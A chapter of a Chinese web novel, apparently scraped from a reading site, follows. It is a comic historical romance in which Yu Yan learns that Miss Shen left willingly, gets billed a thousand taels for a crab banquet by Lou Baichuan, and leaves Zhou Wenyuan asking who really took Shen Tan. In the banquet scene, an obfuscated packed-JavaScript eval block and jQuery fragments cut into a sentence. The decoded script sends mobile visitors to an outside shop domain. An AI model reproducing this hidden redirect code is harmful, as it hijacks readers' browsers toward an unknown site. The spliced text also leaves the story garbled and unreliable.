上午的日头懒洋洋地挂在天上,把楼府的匾额晒得微微发烫。

    “什么叫没有回来?”虞砚站在大门正中间,两手叉腰,下巴抬得老高。

    周文渊装模作样地清了清嗓子,然后一本正经地望向楼百川:“还是你来说吧......我刚跟虞公子建立了‘深厚’的友谊,现在不方便开口。”

    说这话时,他已经悄悄挪到了正门左侧的院墙边,离门槛大约一丈远。这是他反复丈量过的安全距离:万一虞砚发飙,两秒内他就能蹿上大街混入人流。虞砚好面子,断不会追到人前,最多在背后骂两句。骂就骂呗,又不少块肉。

    楼百川没接话。他的目光直直地钉进周文渊眼睛里,像拉满了的弓弦,一触即发。

    虞砚歪歪脑袋,看着两人眉来眼去,愈发觉得丈二和尚摸不着头脑。

    周文渊是绑匪,他是人质。若是相处起来,友谊深不深不知道,但命肯定长不了。

    见状,楼百川叹了口气,忽然朝空荡的院子喊了一声:“楼五。”

    一个黑影悄无声息地飘落在地。刚被从山里唤回来的楼五抱拳低头:“主子。”

    楼百川颔首:“你...跟虞公子讲讲昨日看见的事情。”

    他说完后,向周文渊递了个眼色,两人便脚步整齐的撤了,速度快得像身后有鬼撵。

    虞砚脑子里的齿轮开始滋哇乱转。

    楼百川绝对有事瞒着自己......!

    ......

    “虞少爷?”脚步声都消失好久了,虞砚仍然蹙眉发呆,只剩下两颗眼珠子四处乱晃。楼五只能试探性地开口,“此处穿堂风大,易感伤寒,不如进屋说话?”

    ......

    虞砚:“你刚才听见我发出的声音了吗?”

    楼五点头。

    虞砚:“那他们两个是耳朵堵了还是良心坏了,怎的对沈姑娘失踪一事,半点不急?”

    “额,有没有可能......沈姑娘没、失、踪呢。”楼五说得理所当然,“我昨晚亲眼看着沈姑娘坐上马车离开的。”

    虞砚愣住了:“什么马车?”

    “就是一辆黑色的马车。”楼五想了想,“没有标记,车帘放得严严实实。沈姑娘自己走上去的,没人逼她。”

    “奥——原来如此......”虞砚脑子里忽然“叮”的一声,“这么说来,昨夜你就在现场,然后眼睁睁看着我被人绑、差点摔下悬崖、差点被箭射中、最后活活饿晕?”

    “对啊?”楼五一脸理所当然,“以前跟着主子办事儿都是这个流程。不招呼我,就不能现身,否则会破坏原本的计划!”

    “计划?”虞砚指着自己。真想求他睁大眼睛,看看自己这张脸,是能听懂计划的样子吗?

    他略带崩溃地说:“可你得先让我知道你在,我才能招呼你啊!”

    “您知道啊?”楼五也是猛然间瞪大双眼。

    虞砚突然有些不自信:“我...我我知道吗?”

    “对啊!您不是打开了我往您铺子后院扔的纸团吗?那上面写得清清楚楚:‘虞少爷,楼五归队,有事您招呼’。我还怕您不认识字,特意画了个自画像呢!”

    虞砚的记忆回到了一天前。

    那天他确实被一个纸团砸了脑门,但他展开时,满脑子都是神仙香脂,文字就被自动屏蔽了。

    “好像是有这么回事。”他挠挠头,声音矮下去半截,“我当时心不在焉,以为是哪个没素质的往我院里扔垃圾,就直接扔灶里烧了。”

    楼五沉默了。他现在的心情,大概跟写了一整夜情书却被对方拿去糊窗纸无异。

    ......

    “也罢。”虞砚摆摆手,脸上浮起一层说不清道不明的疲惫,“沈姑娘没事就成。”他轻拍楼五肩头,“也辛苦你了。回头我让楼百川给你涨月钱。”

    楼五眼睛倏地亮了:“楼五愿为公子赴汤蹈火,万死不辞!”

    他可真没跟错人!

    莫名其妙损失了银钱,但还并不知道的楼百川:......

    *

    楼府正厅里,饭菜已备齐。

    紫檀长案上,银盘盛着山八珍,玉碗装着海八珍,居中一鼎热气腾腾的蟹粉桃花汤,香气混着檀香在梁柱间缭绕。

    虞砚赶到时,楼百川刚盛了半碗汤。鲜甜的气息直冲天灵盖,盖住了这两日的荒唐,于是他一屁股坐到楼百川身边,问:“你......就喝半碗汤啊?”

    “什么?”

    “我说你就吃这么点?”虞砚笑嘻嘻地端起自己的青花瓷碗,给自己舀了满满一勺,“我人好,见不得浪费。剩下的由我替你消灭吧!”

    “咕咚咕咚”灌完一碗汤,脸上漾开一团红晕。虞砚眯着眼感慨了一声:“好...喝...”

    楼百川叹了口气,抽出手帕替他擦嘴角。

    周文渊坐在对面,脸埋在碗里,两只眼睛却像探照灯似的从碗沿上方露出来,盯着两人的一举一动。

    虞砚瞥见那道目光,当即推开楼百川的手:“别闹,有人看着呢!”

    “我没看啊。”周文渊把脸埋得更深了,声音从碗里闷闷地传出来,“我只是在吃饭而已。”

    楼百川面不改色,转而又为虞砚布菜:“你爱吃的蟹黄,拌着鱼肚清炖了。尝尝。”

    他筷子还没落下,虞砚已捧着碗迎上去。

    “这一桌菜”虞砚嘴里嚼着蟹黄,含混不清,“得花不少银子吧?”

    楼百川淡淡道:“螃蟹从南边加急运来,路上换了三次冰,大约一只一两黄金。”

    虞砚差点被蟹黄噎死:“......好!那什么,你先吃点别的,这蟹黄...我再品鉴品鉴。”

    楼百川挑了挑眉,继而转向周文渊,指了指桌子上的蜜汁烤鹅脯,“你也吃点菜,别光祸害那碗米饭了。”

    周文渊从碗里抬起一张沾着饭粒的脸,终于忍不住了:“楼百川,我跟了你十几年,你从来没给我布过菜。”

    “你又不是没长手。”

    周文渊张了张嘴,又闭上了。

    他低头看了看自己的手:两只,完好无损。又看了看虞砚的手:两只,也是完好无损。

    结论:楼百川双标。

    虞砚没理会二人的眼神交锋,咽下美食,忽然感慨起来:“沈姑娘提前离开,真是没有口福。”

    楼百川夹菜的手顿了一下。

    “说起来她也真是女中豪杰,一人对五个杀手,面不改色。”虞砚越说越起劲,“那身手,那气魄......她要是个男的,我当场跟她拜把子。

    楼百川放下筷子。脸色阴沉,像乌云压城。“吃饭!”他声音冷冰冰的。

    周文渊识趣地把整张脸埋进碗里,继续与米饭斗争。

    虞砚浑然不觉,扒了一口饭,含混不清地说:“吃着呢。我跟你说,沈檀她......”

    “这桌菜,”楼百川截住话头,“一千两,打借条。”

    虞砚的笑容僵在脸上:“什么?”

    “螃蟹、鱼肚、鹅脯、桃花汤。统共一千两。”楼百川面不改色,“你是现在写,还是我替你写?”

    虞砚张了张嘴,看看满桌珍馐,又看看楼百川那张毫无波澜的脸。

    大惊失色:他竟然又被

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557603|202617||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    楼百川坑了一次!难道这人还没做皇帝,就想要一菜释兵权了吗?

    真是个昏君!

    虞砚咬了咬牙:“吃完饭就写!”

    反正等他做了宰相,随便从国库里‘拿’些银子,就能把账平了。这可是楼百川逼自己贪污的!

    霎那间,饭桌上变得安静无声。

    周文渊深吸一口气,主动打破尴尬:“虞公子被绑架这件事,我害想替沈檀解释解释。”

    他说:“是在下稍稍动脑,设了两步局。一是假意绑架,试探很在意你的...那谁;二是,留下血衣,以观察公子品行。可谁成想,半路真的出现一批杀手。沈姑娘为了帮你抓出幕后人,所以才隐身离开,并未有抛弃之意。”

    虞砚看向楼百川:“真的吗?”

    楼百川:“沈檀乃女子,与周文渊相处日久,于清誉有损,故沈尚书已将其接回京城。”

    “不是。”虞砚皱眉,“我是问,你真的很在意我吗?”

    ......

    楼百川没回答。虞砚却像品出了什么,嘴角一咧,露出一口大白牙:“虽然说你经常‘犯病’,但我知道你肯定放不下我的命格。放心吧,看在你这么诚心诚意侍奉的份上,我以后一定多帮帮你!”

    “哎,你们说的好像不是一回事...”周文渊刚想插嘴,楼百川一个眼刀飞过去,他立刻把话咽了回去,还顺便咬住了自己的舌头。

    米粒的香味在口腔中打了个转。

    周文渊嚼着嚼着,忽然回想起当年楼百川是怎么把他骗上贼船的。

    那会儿,楼百川上谈天文,下论地理,把他聊得像个没念过书的傻子,差点就跪地喊‘主公

    。

    可现在呢?他却用一锭黄金一只的膏蟹来拉拢虞砚。

    周文渊咽下米饭,总觉得哪里不太对——好像自己当年,亏大了。

    *

    吃完了饭,虞砚满足地拍拍肚子:“我吃撑了,得去躺着消化消化。”说完,就开始解腰带。

    周文渊看愣了:“你什么意思,不会打算睡在这儿吧?”

    虞砚的脑袋现在只够管消化,反应慢了不止一拍。闻言愣愣的‘啊’一声:“不能脱衣服嘛...那你过来点。”他朝楼百川招手。

    楼百川的眉头皱得能夹死苍蝇,但还是缓缓靠了过去。刚凑近,就被虞砚一把拽到胸口前。

    周文渊立刻捂住眼睛,指缝张得像太平洋警察:“你们这不太好吧,这哪哪儿都是人,你说说...”

    楼百川被按在那里,久久没动。虞砚忽然问:“闻到了吗?”

    楼百川‘嗯’了一声:“香的。”

    虞砚大喜:“这就是神仙香脂,清似水,香似蜜!我成功做出来了!”

    楼百川:“恭喜。”

    虞砚眼睛亮亮的,一动不动。

    楼百川:?

    虞砚:“瓷瓶昨晚摔碎了...”他伸出手,“一...三千两,你得赔我。”

    ...

    周文渊在旁边小声嘀咕:敲诈啊。

    *

    得到首肯的虞砚终于颤颤巍巍地往外走。

    他刚走到门口,又回头:“对了,楼五让我替他涨月钱,你看着办。”

    楼百川就这样望着门口,望着虞砚的身影一点点消失,脸上的温度也一点一点地褪尽。

    周文渊放下筷子,擦了擦嘴,声音也随之压低:

    “人都走了。现在可以说实话了吧?”

    “沈檀......到底是谁绑走的?还有,为什么非要编一个把所有人都括进来的谎言?就为了骗骗虞砚...?”